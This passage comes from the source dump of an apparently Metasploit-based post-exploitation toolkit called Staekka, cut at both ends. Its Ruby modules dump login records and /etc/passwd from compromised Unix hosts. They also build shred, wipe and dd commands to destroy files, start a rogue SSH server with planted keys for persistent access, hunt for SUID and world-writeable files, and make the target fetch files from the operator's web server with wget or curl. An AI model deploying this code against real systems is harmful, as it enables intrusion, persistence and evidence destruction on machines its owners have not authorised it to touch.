'Description' => %q(Dump lastlog log files as text), 34 | 'Author' => [ 'jot'], 35 | 'SessionTypes' => [ 'shell' ] 36 | )) 37 | register_options( 38 | [ 39 | OptBool.new('USE_UPDATEDB', [ false, 'Use an updatedb database and search for filenames instead of full path', true]), 40 | OptString.new('FILES', [ false, 'A special log file']), 41 | ], self.class) 42 | end 43 | 44 | def run 45 | all_log_files.each do |file| 46 | ################ 47 | # check file permissions 48 | next unless permissions?(file) 49 | ################ 50 | # size check/warning 51 | size = filesize(file) 52 | if size.nil? || size == 0 53 | vprint_warning "#{file}: not readable or empty" 54 | next 55 | elsif size > 1024 * 1024 * 1024 # 1G 56 | print_error "#{file}: file size (#{size}) more than 1 G: This would fail and crash the session! Cannot download" 57 | print_error "#{file} will be igroned due to this size" 58 | next 59 | elsif size > 1024 * 1024 * 100 # 100 MB 60 | print_warning "#{file}: file size (#{size}) more than 100Mb: This will need long time and lot of recourses" 61 | print_error "#{file} will be igroned due to this size" 62 | next 63 | elsif size > 1024 * 1024 * 10 # 10 MB 64 | # 10 MB 65 | print_warning "#{file}: file size (#{size}) more than 10Mb: This will need a while" 66 | elsif size > 1024 * 1024 # 1MB 67 | print_warning "#{file}: file size (#{size}) more than 1Mb: This might need some time" 68 | else # less 69 | # OK 70 | end 71 | 72 | dump_lastlog(file) 73 | # 74 | end 75 | end 76 | 77 | def all_log_files 78 | out = [] 79 | if datastore['FILES'] 80 | files = datastore['FILES'].split(" ") 81 | else 82 | files = log_files_lastlog 83 | end 84 | 85 | files.flatten! 86 | files.compact! 87 | files.uniq! 88 | files.each do |file| 89 | file.strip! 90 | next if file.empty? 91 | if (file.start_with? '/') or (file.start_with? './') or (file.start_with? '..') 92 | if exists?(file) 93 | out << file 94 | end 95 | else 96 | # search updatedb 97 | out.concat find_files(file) 98 | end 99 | end 100 | out 101 | end 102 | 103 | def log_files_lastlog 104 | [ "/var/log/lastlog", # Linux 105 | "/var/adm/lastlog", # Solaris 106 | ] 107 | end 108 | 109 | def permissions?(file) 110 | if readable?(file) 111 | true 112 | else 113 | print_error "Need read permissions for #{file} for changing it! Cannot go on" 114 | print_error "This could also be a known bug of this check. In this case you simply need to re-run this module" 115 | false 116 | end 117 | end 118 | 119 | def dump_lastlog(file) 120 | logfile = StringIO.new(read_file(file, true, false)) 121 | lastlog = LastLog.new 122 | lastlog.read_passwd(read_file("/etc/passwd", true, false)) 123 | 124 | out = '' 125 | lastlog.each_entry(logfile) do | lastlog, uid | 126 | tmp = lastlog.print_entry(uid) 127 | if tmp.start_with? "uid=" and tmp.strip.end_with? "**Never logged in**" 128 | next 129 | end 130 | out << tmp 131 | end 132 | print_status out 133 | end 134 | 135 | end 136 | 137 | -------------------------------------------------------------------------------- /modules/post/unix/general/logs/dump_utmp.rb: -------------------------------------------------------------------------------- 1 | # $LOAD_PATH.push(staekka_path() + '/external/bindata/lib') 2 | # $LOAD_PATH.push "#{ENV['STAEKKA_PATH']}/external/bindata/lib" 3 | #$LOAD_PATH.push File.expand_path(File.join(Msf::Config.staekka_path, 'external', 'bindata', 'lib' )) 4 | 5 | require 'bindata' 6 | require 'time' 7 | require 'ipaddr' 8 | require 'tempfile' 9 | 10 | 11 | require 'msf/core' 12 | require 'msf/core/post/file' 13 | require 'core/post/staekka' 14 | require 'core/post/staekka/file' 15 | require 'core/post/staekka/unix' 16 | require 'core/post/unix/utmp' 17 | require 'core/post/unix/commands' 18 | 19 | #$LOAD_PATH.push "../staekka/external/bindata/lib" 20 | 21 | 22 | 23 | 24 | class MetasploitModule < Msf::Post 25 | include Msf::Post::Common 26 | include Msf::Post::File 27 | include Msf::Post::Staekka 28 | include Msf::Post::Staekka::Unix 29 | include Msf::Post::Unix::Commands 30 | include Msf::Post::Updatedb 31 | 32 | def initialize(info = {}) 33 | super(update_info(info, 34 | 'Name' => 'Dump Utmp Logfiles', 35 | 'Description' => %q(Dump utmp log files as text), 36 | 'Author' => [ 'jot'], 37 | 'SessionTypes' => [ 'shell' ] 38 | )) 39 | register_options( 40 | [ 41 | OptBool.new('USE_UPDATEDB', [ false, 'Use an updatedb database and search for filenames instead of full path', true]), 42 | OptPath.new('FILES', [ false, 'A special log file']), 43 | ], self.class) 44 | end 45 | 46 | def run 47 | all_log_files.each do |file| 48 | ################ 49 | # check file permissions 50 | next unless permissions?(file) 51 | ################ 52 | # size check/warning 53 | size = filesize(file) 54 | if size.nil? || size == 0 55 | vprint_warning "#{file}: not readable or empty" 56 | next 57 | elsif size > 1024 * 1024 * 1024 # 1G 58 | print_error "#{file}: file size (#{size}) more than 1 G: This would fail and crash the session! Cannot download" 59 | print_error "#{file} will be igroned due to this size" 60 | next 61 | elsif size > 1024 * 1024 * 100 # 100 MB 62 | print_warning "#{file}: file size (#{size}) more than 100Mb: This will need long time and lot of recourses" 63 | print_error "#{file} will be igroned due to this size" 64 | next 65 | elsif size > 1024 * 1024 * 10 # 10 MB 66 | # 10 MB 67 | print_warning "#{file}: file size (#{size}) more than 10Mb: This will need a while" 68 | elsif size > 1024 * 1024 # 1MB 69 | print_warning "#{file}: file size (#{size}) more than 1Mb: This might need some time" 70 | else # less 71 | # OK 72 | end 73 | 74 | dump_utmp(file) 75 | # 76 | end 77 | end 78 | 79 | def all_log_files 80 | out = [] 81 | if datastore['FILES'] 82 | files = datastore['FILES'].split(" ") 83 | else 84 | files = log_files_utmp 85 | end 86 | 87 | files.flatten! 88 | files.compact! 89 | files.uniq! 90 | files.each do |file| 91 | file.strip! 92 | next if file.empty? 93 | if (file.start_with? '/') or (file.start_with? './') or (file.start_with? '..') 94 | if exists?(file) 95 | out << file 96 | end 97 | else 98 | # search updatedb 99 | out.concat find_files(file) 100 | end 101 | end 102 | out 103 | end 104 | 105 | def log_files_utmp 106 | [ "/var/log/wtmp", # Linux 107 | "/var/run/utmp", # Linux 108 | "/var/adm/utmpx", # Solaris 109 | "/var/adm/wtmpx", # Solaris 110 | "/etc/utmp", 111 | "/etc/utmpx", 112 | "/etc/wtmp", 113 | "/etc/wtmpx", 114 | "/usr/adm/utmp", 115 | "/usr/adm/utmpx", 116 | "/usr/adm/wtmp", 117 | "/usr/adm/wtmpx", 118 | "/usr/run/utmpx", 119 | "/usr/var/adm/utmp", 120 | "/usr/var/adm/utmpx", 121 | "/usr/var/adm/wtmp", 122 | "/usr/var/adm/wtmpx", 123 | "/var/adm/utmp", 124 | "/var/adm/wtmp", 125 | "/var/log/utmp", 126 | "/var/log/utmpx", 127 | "/var/log/wtmpx", 128 | "/var/run/utmpx", 129 | "/var/run/wtmp", 130 | "/var/run/wtmpx", 131 | ] 132 | end 133 | 134 | def permissions?(file) 135 | if readable?(file) 136 | true 137 | else 138 | print_error "Need read permissions for #{file} for changing it! Cannot go on" 139 | false 140 | end 141 | end 142 | 143 | def get_utmp_type(logfile) 144 | [UtmpLinux.new, UtmpFreeBSD.new, UtmpBSD.new].each do |utmp| 145 | if utmp.size_ok?(logfile.size) 146 | if utmp.check_structure(logfile) 147 | return utmp 148 | end 149 | end 150 | end 151 | nil 152 | end 153 | 154 | def dump_utmp(file) 155 | logfile = StringIO.new(read_file(file, true, false)) 156 | utmp = get_utmp_type(logfile) 157 | if utmp.nil? 158 | print_error "Unkown UTMP structure for #{file}" 159 | return 160 | end 161 | out = '' 162 | utmp.each_entry(logfile) do | utmp, data | 163 | out << utmp.print_entry(data) 164 | end 165 | print_status out 166 | end 167 | 168 | end 169 | 170 | -------------------------------------------------------------------------------- /modules/post/unix/general/secure_delete.rb: -------------------------------------------------------------------------------- 1 | # 2 | require 'msf/core' 3 | require 'msf/core/post/common' 4 | require 'msf/core/post/file' 5 | require 'core/post/staekka' 6 | require 'core/post/staekka/file' 7 | require 'core/post/unix/commands' 8 | 9 | class MetasploitModule < Msf::Post 10 | include Msf::Post::Common 11 | include Msf::Post::File 12 | include Msf::Post::Staekka 13 | # include Msf::Post::Staekka::File 14 | include Msf::Post::Unix::Commands 15 | 16 | def initialize(info = {}) 17 | super(update_info(info, 18 | 'Name' => 'Secure Delete', 19 | 'Description' => %q{(fast) overwriting and deleting files (and directories)}, 20 | 'Author' => [ 'jot'], 21 | 'SessionTypes' => [ 'shell' ])) 22 | register_options( 23 | [ 24 | OptString.new('RFILE', [ true, 'Remote file or directory']) 25 | ], self.class 26 | ) 27 | 28 | @post_data = nil 29 | end 30 | 31 | def run 32 | path = datastore['RFILE'] 33 | if secure_delete(path, true) 34 | vprint_status("#{path} is deleted") 35 | else 36 | print_error("#{path} had not been deleted!") 37 | end 38 | end 39 | 40 | ##################### 41 | def secure_delete(path, force = true) 42 | unless writeable?(path) 43 | print_error "No write permission for #{path}" 44 | if force == false 45 | print_error "Needs to be done manually" 46 | return false 47 | else 48 | print_error "Trying to overwrite it - might fail" 49 | end 50 | end 51 | cmd = find_secure_delete 52 | if cmd.nil? 53 | print_error "Cannot secure delete #{path}! no tool for overwriting found. Needs to be done manually!" 54 | return false 55 | end 56 | 57 | cmd = cmd.gsub("__FILE__", path) 58 | 59 | out = cmd_exec(cmd) 60 | vprint_status("Wipe command: #{cmd}\n#{out}") 61 | 62 | if exists? path 63 | print_error "Cannot delete #{path}!" 64 | return false 65 | end 66 | true 67 | end 68 | 69 | def find_secure_delete 70 | # if session.cache && session.cache.exists?("secure_delete") 71 | # return session.cache.read("secure_delete") 72 | # end 73 | 74 | command = nil 75 | 76 | ############# 77 | # as deleting files may take while verbose output keeps reading output for avoiding timeouts 78 | 79 | n_pass_overwrite = 3 80 | 81 | if installed? "shred" 82 | # shred - overwrite a file to hide its contents, and optionally delete it 83 | # (part of coreutils: should be installed on most linux systems 84 | # 85 | # find for recursive 86 | # shred: overwrite/delete files (no directories) 87 | # -f force: change permissions to allow writing if necessary 88 | # -u remove: truncate and remove file after overwriting 89 | # -z zero: add a final overwrite with zeros to hide shredding 90 | # -v verbose: show progress 91 | # -n overwrite N times 92 | #### 93 | command = "find __FILE__ -type f -exec shred -f -u -z -n #{n_pass_overwrite} -v {} \\; ; rm -rf __FILE__" 94 | elsif installed? "wipe" 95 | # wipe - secure file deletion utility http://wipe.sourceforge.net/ 96 | # -I disables interaction 97 | # -d delete after wiping 98 | # -r recursive 99 | # -z zero-out file - performs a single pass of zeros 100 | # -p perform wipe sequence x times 101 | command = "wipe -I -d -f -r -p #{n_pass_overwrite} -z __FILE__" 102 | elsif installed? "srm" 103 | # srm - securely remove files or directories http://sourceforge.net/projects/srm/ 104 | # -f force: ignore nonexistent files, never prompt 105 | # -r recursive: remove the contents of directories recursively 106 | # -v verbose 107 | # -E US DoE compliant 3-pass overwrite 108 | command = "srm -f -r -E -v __FILE__" 109 | elsif installed? "bcwipe" 110 | # bcwipe - securely erase data from magnetic and solid-state memory http://www.jetico.com 111 | # -v verbose: Explain what is being done. 112 | # -r recuresive: Remove with wiping the contents of directories recursively 113 | # -f force: Force wipe files with no write permissions. Also suppress interactive mode. 114 | # -n 1 delay: Wait delay seconds between wiping passes. 115 | # -me U.S. DoE 3-pass wiping. 116 | command = "bcwipe -v -r -f -n 1 -me __FILE__" 117 | elsif installed? "dd" 118 | # 119 | if exists? "/dev/urandom" 120 | src = "/dev/urandom" 121 | elsif exists? "/dev/random" 122 | src = "/dev/random" 123 | end 124 | # get_size = '`stat --printf="%s" __FILE__ `' 125 | # get_size = '`wc -c < __FILE__ `' 126 | # command = "find __FILE__ -type f -exec stat --printf=\"dd if=#{src} of={} bs=1 count=%s\" {} \\;| sh; rm -f __FILE__" 127 | command = "" 128 | n_pass_overwrite.times do 129 | command << "find __FILE__ -type f -exec stat --printf=\"dd if=#{src} of={} bs=1 count=%s ;\" {} \\;| sh; " 130 | command << "sleep 1;" # Wait delay of 1 second between wiping passes. 131 | end 132 | 133 | # rename files to random file names 134 | # needs dirname: part of coreutils -> usually shred is already installed 135 | # dirname part of busybox 136 | if installed? "dirname" 137 | random = '' 138 | if installed? "openssl" 139 | random = 'openssl rand -hex 8' 140 | elsif installed? "pwgen" 141 | random = 'pwgen 12 1' 142 | elsif installed? "makepasswd" 143 | random = 'makepasswd --chars 16' 144 | elsif installed? "md5sum" 145 | random = 'date|md5sum|cut -b 1-8' 146 | elsif installed? "tr" 147 | random = 'dd if=/dev/urandom bs=1 count=48 2>/dev/null |tr -cd \'[:alnum:]\'' 148 | end 149 | unless random.empty? 150 | command << "find __FILE__ -type f -exec echo mv {} \\`dirname {}\\`/\\`#{random}\\` \\; |sh;" 151 | end 152 | end 153 | 154 | command << "rm -rf __FILE__" 155 | else 156 | return nil 157 | end 158 | 159 | # chattr: change file attributes on a Linux file system 160 | # -R Recursively 161 | # +s When a file with the 's' attribute set is deleted, its blocks are zeroed and written back to the disk. 162 | # +S When a file with the 'S' attribute set is modified, the changes are written synchronously on the disk 163 | command = "chattr -R +sS -u __FILE__; " + command if installed? "chattr" 164 | 165 | # flush file system buffers 166 | command << "; sync" 167 | 168 | session.cache.add("secure_delete", command) 169 | end 170 | end 171 | -------------------------------------------------------------------------------- /modules/post/unix/general/shell2ssh.rb: -------------------------------------------------------------------------------- 1 | # 2 | # 3 | # 4 | # 5 | 6 | class MetasploitModule < Msf::Post 7 | include Msf::Post::Common 8 | include Msf::Post::File 9 | include Msf::Post::Staekka 10 | include Msf::Post::Unix::Commands 11 | 12 | def initialize(info = {}) 13 | super(update_info(info, 14 | 'Name' => 'Shell 2 SSH', 15 | 'Description' => %q(Starting a new ssh server using a custom config and connect to it), 16 | 'Author' => [ 'jot'], 17 | 'SessionTypes' => [ 'shell' ])) 18 | register_options( 19 | [ 20 | OptAddress.new('LHOST', 21 | [false, 'IP of host that will receive the SSH connection (will try to auto detect).', nil]), 22 | OptPort.new('SSHD_PORT', [ true, 'Port number the SSH Server should listen', 2222]), 23 | OptString.new('USERNAME', [ false, 'The username to login (will try to auto detect)' ]), 24 | OptPath.new('WRITEDIR', [ false, 'Path of a wirteable directory (usually /tmp; will try to auto detect)' ]), 25 | OptPath.new('SSHD_PATH', [ false, 'Path of SSHD binary (usually "/usr/sbin/sshd" will try to auto detect)' ]) 26 | ], self.class 27 | ) 28 | 29 | @post_data = nil 30 | end 31 | 32 | def run 33 | # Try hard to find a valid LHOST value in order to 34 | # make running 'sessions -u' as robust as possible. 35 | lhost = if datastore['LHOST'] 36 | datastore['LHOST'] 37 | elsif framework.datastore['LHOST'] 38 | framework.datastore['LHOST'] 39 | else 40 | session.tunnel_local.split(':')[0] 41 | end 42 | # If nothing else works... 43 | lhost = Rex::Socket.source_address if lhost.blank? 44 | if (lhost == 'local') || lhost.to_s.empty? 45 | print_error('LHOST empty') 46 | raise ArgumentError 47 | end 48 | lport = datastore['SSHD_PORT'] 49 | 50 | # username 51 | if datastore['USERNAME'] 52 | username = datastore['USERNAME'] 53 | else 54 | vprint_status("Getting current username") 55 | username = get_username 56 | end 57 | username = username.to_s.strip 58 | if username.empty? 59 | print_error('Username empty') 60 | raise ArgumentError 61 | end 62 | 63 | # writeable directory 64 | directories = { 65 | 1 => '/dev/shm', 66 | 2 => '/tmp', 67 | 3 => '/var/tmp', 68 | 99 => '.' 69 | } 70 | if datastore['WRITEDIR'] 71 | tmpdir = datastore['WRITEDIR'] 72 | else 73 | vprint_status("Getting writeable directory") 74 | directories.sort.each do |pair| 75 | dir = pair[1] 76 | if (directory? dir) && (writeable? dir) 77 | tmpdir = dir 78 | break 79 | end 80 | end 81 | end 82 | tmpdir = tmpdir.to_s.strip 83 | if tmpdir.empty? 84 | print_error('No writeable directory found') 85 | raise ArgumentError 86 | end 87 | 88 | #################### 89 | # sshd path 90 | sshd_path = nil 91 | default_path = { 92 | 1 => '/usr/sbin/sshd', 93 | 2 => '/usr/local/sbin/sshd', 94 | 3 => '/sbin/sshd' 95 | } 96 | if datastore['SSHD_PATH'] 97 | tmpdir = datastore['SSHD_PATH'] 98 | else 99 | vprint_status("Getting path of sshd") 100 | default_path.sort.each do |pair| 101 | path = pair[1] 102 | if file? path 103 | sshd_path = path 104 | break 105 | end 106 | end 107 | end 108 | sshd_path = sshd_path.to_s.strip 109 | if sshd_path.empty? 110 | print_error('No SSH Server path found') 111 | raise ArgumentError 112 | end 113 | #################### 114 | # 115 | vprint_status("Generating SSH key") 116 | (ssh_key_priv, ssh_key_pub) = generate_ssh_key 117 | 118 | loot_path = store_loot("ssh_key", "text/plain", session, ssh_key_priv, "ssh_key", "SSH Key for started SSHd") 119 | ::File.chmod(0600, loot_path) # for using ssh client direct 120 | print_good("SSH Key is stored in #{loot_path}") 121 | 122 | ################### 123 | # 124 | vprint_status("Generating SSHD config") 125 | sshd_config_path = "#{tmpdir}/#{::Rex::Text.rand_text_alpha(8)}" 126 | rsa_key = "#{tmpdir}/#{::Rex::Text.rand_text_alpha(8)}" 127 | dsa_key = "#{tmpdir}/#{::Rex::Text.rand_text_alpha(8)}" 128 | auth_file = "#{tmpdir}/#{::Rex::Text.rand_text_alpha(8)}" 129 | pid = "#{tmpdir}/#{::Rex::Text.rand_text_alpha(8)}" 130 | sshd_config = generate_sshd_config(lport, rsa_key, dsa_key, auth_file, pid) 131 | 132 | vprint_status("Uploading SSHD config") 133 | write_file(sshd_config_path, sshd_config) 134 | # write_file(rsa_key, generate_sshd_rsa) 135 | (sshd_rsa_key, sshd_rsa_pub) = generate_sshd_rsa 136 | write_file(rsa_key, sshd_rsa_key) 137 | pub_path = store_loot("sshd_pub", "text/plain", session, "[#{lhost}]:#{lport} #{sshd_rsa_pub}", "sshd_pub", "Public key of this SSHD") 138 | 139 | # write_file(dsa_key, generate_sshd_dsa) 140 | (sshd_dsa_key, sshd_dsa_pub) = generate_sshd_dsa 141 | write_file(dsa_key, sshd_dsa_key) 142 | 143 | write_file(auth_file, ssh_key_pub) 144 | 145 | cmd_exec("chmod 600 #{rsa_key}") 146 | cmd_exec("chmod 600 #{dsa_key}") 147 | 148 | ################### 149 | # 150 | cmd = "#{sshd_path} -q -f #{sshd_config_path}" 151 | out = cmd_exec(cmd) 152 | vprint_status("Starting SSHD (\"#{cmd}\")\n#{out}") 153 | print_good("SSHd started") 154 | if file? pid 155 | print_good("SSHd running") 156 | else 157 | print_error("Could not start SSHD \"#{cmd}\"") 158 | end 159 | 160 | print_good("To login manually you run:\nssh -i #{loot_path} -p #{lport} #{username}@#{lhost} -o UserKnownHostsFile=#{pub_path}") 161 | 162 | #################### 163 | # 164 | # rm_f sshd_config_path 165 | # rm_f pid 166 | 167 | #################### 168 | # 169 | new_ssh_session = framework.auxiliary.create("shell/ssh_session") 170 | new_ssh_session.datastore['RHOSTS'] = lhost 171 | new_ssh_session.datastore['RPORT'] = lport 172 | new_ssh_session.datastore['USERNAME'] = username 173 | new_ssh_session.datastore['SSH_KEYFILE'] = loot_path 174 | new_ssh_session.datastore['SSH_KNOWN_HOST_FILE'] = pub_path 175 | new_ssh_session.options.validate(new_ssh_session.datastore) 176 | new_ssh_session.run_simple( 177 | 'LocalInput' => user_input, 178 | 'LocalOutput' => user_output 179 | ) 180 | end 181 | 182 | def get_username 183 | out = cmd_exec("whoami") 184 | out 185 | end 186 | 187 | def generate_sshd_config(lport, rsa_key, dsa_key, auth_file, pid) 188 | sshd_config = < 'Updatedb', 13 | 'Description' => %q(Creating a updatedb for faster file searches), 14 | 'Author' => [ 'jot'], 15 | 'SessionTypes' => [ 'shell' ])) 16 | register_options( 17 | [ 18 | OptPath.new('UPDATEDB_FILE', [ false, 'Path to a local pre-created updatedb file (created with "find")']), 19 | OptBool.new('TESTMODE', [ false, 'Load a pre-defined test database (for testing)', true]), # XXX 20 | OptString.new('FIND', [ false, 'A string to search for files (regex is ok)' ]), 21 | OptBool.new('SUID', [ false, 'Find all SUID files']), 22 | OptBool.new('WORLD_WRITEABLE', [ false, 'Find all world writeable files']), 23 | OptString.new('PERMS', [ false, 'Find all files with special permissions']), 24 | OptString.new('LS', [ false, 'cached "ls -l" of a file ']), 25 | OptString.new('CACHE', [ false, 'a token to cache the results of the search']), 26 | OptString.new('READ_CACHE', [ false, 'a token to read cached results']) 27 | ], self.class 28 | ) 29 | end 30 | 31 | def run 32 | rootdir = '/' 33 | updatedb_file = nil 34 | #staekka_path = ENV['STAEKKA_TEST'] 35 | staekka_path = Msf::Config.staekka_path 36 | if datastore['TESTMODE'] == true 37 | updatedb_file = staekka_path + "/data/files/updatedb-2" 38 | unless ::File.file? updatedb_file 39 | raise "Testfile does not exists '#{updatedb_file}' Maybe you have to set staekka env (export STAEKKA_TEST=...)" 40 | end 41 | end 42 | updatedb_file = datastore['UPDATEDB_FILE'] if datastore['UPDATEDB_FILE'] 43 | unless session.locate_updatedb? && updatedb_file.nil? 44 | # already loaded 45 | session.locate_updatedb(rootdir, updatedb_file) 46 | end 47 | 48 | if datastore['FIND'] 49 | search = datastore['FIND'] 50 | out = session.updatedb_search(search) 51 | add_cache out 52 | print_status("Found files for #{search}:") 53 | out.each do |file| 54 | print_status file 55 | end 56 | end 57 | if datastore['SUID'] == true 58 | out = session.updatedb_search_suid 59 | add_cache out 60 | print_status("Suid files:") 61 | out.each do |file| 62 | print_status file 63 | end 64 | end 65 | if datastore['WORLD_WRITEABLE'] == true 66 | out = session.updatedb_search_world_writeable 67 | add_cache out 68 | print_status("World writeable files:") 69 | out.each do |file| 70 | print_status file 71 | end 72 | end 73 | # TODO: octal permissions 74 | if datastore['PERMS'] 75 | perms = datastore['PERMS'] 76 | unless perms.to_i.zero? 77 | raise "Octal permission are currently not implemented" 78 | end 79 | out = session.updatedb_search_permissions(perms) 80 | add_cache out 81 | out.each do |file| 82 | print_status file 83 | end 84 | end 85 | if datastore['LS'] 86 | file = datastore['LS'] 87 | out = session.updatedb_file_ls(file) 88 | add_cache out 89 | print_status("ls -l #{file}\n#{out}") 90 | end 91 | if datastore['READ_CACHE'] 92 | token = datastore['READ_CACHE'] 93 | if session.methods.include? :cache 94 | if session.cache.exists?(token) 95 | data = session.cache.read(token) 96 | if data.class.to_s == 'String' 97 | print_status("Cached->#{token}:\n" + data) 98 | elsif data.class.to_s == 'Array' 99 | print_status("Cached->#{token}:") 100 | data.each do |line| 101 | print_status line.to_s 102 | end 103 | else 104 | print_status("Cached->#{token}:\n#{data}") 105 | end 106 | end 107 | end 108 | end 109 | end 110 | 111 | def add_cache(data) 112 | if datastore['CACHE'] 113 | token = datastore['CACHE'] 114 | return nil unless session.methods.include? :cache 115 | if session.cache.exists?(token) 116 | tmp = session.cache.read(token) 117 | tmp << data 118 | session.cache.add(token, tmp) 119 | else 120 | session.cache.add(token, data) 121 | end 122 | 123 | end 124 | end 125 | end 126 | -------------------------------------------------------------------------------- /modules/post/unix/general/upload.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # Advanced Post Exploitation 3 | require 'msf/core' 4 | require 'msf/core/post/common' 5 | require 'msf/core/post/file' 6 | require 'core/post/staekka' 7 | require 'core/post/staekka/file' 8 | require 'core/post/unix/commands' 9 | 10 | require 'msf/core/exploit/http/server' 11 | 12 | class MetasploitModule < Msf::Post 13 | include Msf::Post::Common 14 | include Msf::Post::File 15 | include Msf::Post::Staekka 16 | include Msf::Post::Unix::Commands 17 | include Msf::Exploit::Remote::HttpServer 18 | 19 | def initialize(info = {}) 20 | super(update_info(info, 21 | 'Name' => 'Reverse Upload', 22 | 'Description' => %q{(fast) uploading files using a local web server}, 23 | 'Author' => [ 'jot'], 24 | 'SessionTypes' => [ 'shell' ])) 25 | register_options( 26 | [ 27 | OptPath.new('LFILE', [ true, 'Local file to upload']), 28 | OptString.new('RFILE', [ true, 'Where to save the uploaded file']), 29 | OptString.new('SRVHOST', [ true, 'The local host to listen on. This must be an address on the local machine' ]), 30 | OptString.new('SRVPORT', [ true, 'The local port']) 31 | ], self.class 32 | ) 33 | end 34 | 35 | def run 36 | cmd = find_download_tool 37 | if cmd.nil? 38 | raise "Cannot find a tool for downloading files" 39 | else 40 | cmd = cmd + ' >' + datastore['RFILE'] 41 | end 42 | data = ::File.read(datastore['LFILE']) 43 | if data.nil? || data.empty? 44 | raise "Cannot read #{datastore['LFILE']}" 45 | else 46 | @htdoc = data 47 | end 48 | path = random_uri 49 | start_webserver(path, cmd) 50 | end 51 | 52 | def find_download_tool 53 | if session.methods.include? :cache 54 | if session.cache.exists?("download_cmd") 55 | command = session.cache.read("download_cmd") 56 | vprint_status("already found a command for : #{command}") 57 | return command 58 | end 59 | end 60 | 61 | download_tools = { 62 | 'wget' => %q(wget --no-check-certificate -q -O - '__URL__' ), 63 | 'curl' => %q(curl -k -f --stderr '__URL__' ) 64 | } 65 | download_tools.each_pair do |tool, cmd| 66 | next unless installed? tool 67 | if can_download?(cmd) 68 | return cmd 69 | end 70 | end 71 | nil 72 | end 73 | 74 | def can_download?(cmd) 75 | test_token = ::Rex::Text.rand_text_alpha(12) 76 | @htdoc = test_token 77 | path = random_uri 78 | dowloaded = start_webserver(path, cmd) 79 | if dowloaded == test_token 80 | session.cache.add("download_cmd", cmd) if session.methods.include? :cache 81 | true 82 | else 83 | false 84 | end 85 | end 86 | 87 | def on_request_uri(cli, req) 88 | data = @htdoc 89 | vprint_status("on_request_uri called: #{req.inspect}") 90 | send_response(cli, data) 91 | @request_done = true 92 | end 93 | 94 | def start_webserver(path, cmd) 95 | server_host = datastore['SRVHOST'] 96 | server_port = datastore['SRVPORT'].to_s 97 | if datastore['SSL'] == true 98 | scheme = 'https://' 99 | else 100 | scheme = 'http://' 101 | end 102 | download_url = scheme + server_host + ':' + server_port + path 103 | cmd = cmd.gsub('__URL__', download_url) 104 | @request_done = false 105 | start_service('Uri' => { 106 | 'Proc' => proc do |cli, req| 107 | on_request_uri(cli, req) 108 | end, 109 | 'Path' => path 110 | }) 111 | tmp = cmd_exec(cmd) 112 | # vprint_debug("Downloaded: |#{tmp}|") 113 | tmp 114 | end 115 | end 116 | -------------------------------------------------------------------------------- /plugins/info_path.rb: -------------------------------------------------------------------------------- 1 | 2 | # 3 | # Extending get_module_document() for searching inside of more than one 4 | # directory for documentation templates 5 | # 6 | module Msf::Util::DocumentGenerator 7 | def self.get_module_document(mod) 8 | md = '' 9 | kb = '' 10 | Msf::Config.doc_search_path.each do |p| 11 | kb_path = File.join(p, "#{mod.fullname}.md") 12 | if File.exist?(kb_path) 13 | File.open(kb_path, 'rb') { |f| kb = f.read } 14 | break 15 | end 16 | end 17 | 18 | begin 19 | pr_finder = PullRequestFinder.new 20 | pr = pr_finder.search(mod) 21 | rescue PullRequestFinder::Exception => e 22 | pr = e 23 | end 24 | 25 | n = DocumentNormalizer.new 26 | items = { 27 | mod_description: mod.description, 28 | mod_authors: mod.send(:module_info)['Author'], 29 | mod_fullname: mod.fullname, 30 | mod_name: mod.name, 31 | mod_pull_requests: pr, 32 | mod_refs: mod.references, 33 | mod_rank: mod.rank, 34 | mod_platforms: mod.send(:module_info)['Platform'], 35 | mod_options: mod.options, 36 | mod_demo: mod 37 | } 38 | 39 | if mod.respond_to?(:targets) && mod.targets 40 | items[:mod_targets] = mod.targets 41 | end 42 | 43 | n.get_md_content(items, kb) 44 | end 45 | 46 | 47 | end 48 | 49 | 50 | module Msf 51 | class Plugin::InfoPath < Msf::Plugin 52 | def initialize(framework, opts) 53 | super 54 | path = [] 55 | if opts['Path'] 56 | tmp = opts['Path'].to_s.strip.split(":") 57 | tmp.each do |d| 58 | if ::File.directory?(d) 59 | path << d 60 | else 61 | print_error "#{d} is not a directory and will be ignored" 62 | end 63 | end 64 | end 65 | 66 | documentation_path(path) 67 | end 68 | 69 | # 70 | # Extending the documentation template search path to: 71 | # 1: default path inside the default installation 72 | # 2: custom modules/documention inside the home directory (~/.msf4/documention/) 73 | # 3: documentation inside the staekka directory 74 | # 75 | def documentation_path(extra_path=[]) 76 | path = [File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' )), 77 | File.expand_path(File.join(Msf::Config.user_module_directory, '..', 'documentation', 'modules' )), 78 | ] 79 | #if Msf::Config.method_defined? :staekka_path 80 | if Msf::Config.methods.include? :staekka_path 81 | path << File.expand_path(File.join(Msf::Config.staekka_path, 'documentation', 'modules' )) 82 | end 83 | path.concat(extra_path) 84 | 85 | Msf::Config.singleton_class.send(:define_method, :doc_search_path=) do |opt| 86 | @info_path = opt 87 | @info_path 88 | end 89 | Msf::Config.singleton_class.send(:define_method, :doc_search_path) do 90 | @info_path 91 | end 92 | Msf::Config.doc_search_path=path 93 | end 94 | 95 | def name 96 | "Info search path" 97 | end 98 | 99 | def desc 100 | "Extends search path for module documentation (info -d)" 101 | end 102 | 103 | def cleanup 104 | path=[File.expand_path(File.join(Msf::Config.module_directory, '..', 'documentation', 'modules' ))] 105 | Msf::Config.doc_search_path=path 106 | #stop 107 | remove_console_dispatcher('info_path') 108 | end 109 | 110 | 111 | end 112 | end 113 | -------------------------------------------------------------------------------- /plugins/staekka.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | 3 | # Metasploit 4 | module Msf 5 | # 6 | # Staekka is an extension for metasploit implementing some missing features 7 | # 8 | module Staekka 9 | # empty for loading 10 | end 11 | end 12 | 13 | 14 | 15 | module Msf 16 | # This plugin manages)StaekkaShell integrated to Metasploit 17 | class Plugin::Staekka < Msf::Plugin 18 | include Msf::Staekka 19 | 20 | # 21 | # Called when an instance of the plugin is created. 22 | # 23 | def initialize(framework, opts) 24 | super 25 | @staekka_path = nil 26 | if opts['Path'] 27 | @staekka_path = opts['Path'].to_s.strip 28 | unless ::File.directory?(@staekka_path) 29 | raise "Staekka directory not found" 30 | end 31 | else 32 | # check default path 33 | if ::File.directory? ENV['STAEKKA_PATH'].to_s 34 | @staekka_path = ENV['STAEKKA_PATH'] 35 | else 36 | [ "#{ENV['HOME']}/.staekka", "/usr/local/staekka", "/opt/staekka", "/usr/share/staekka"].each do |dir| 37 | if 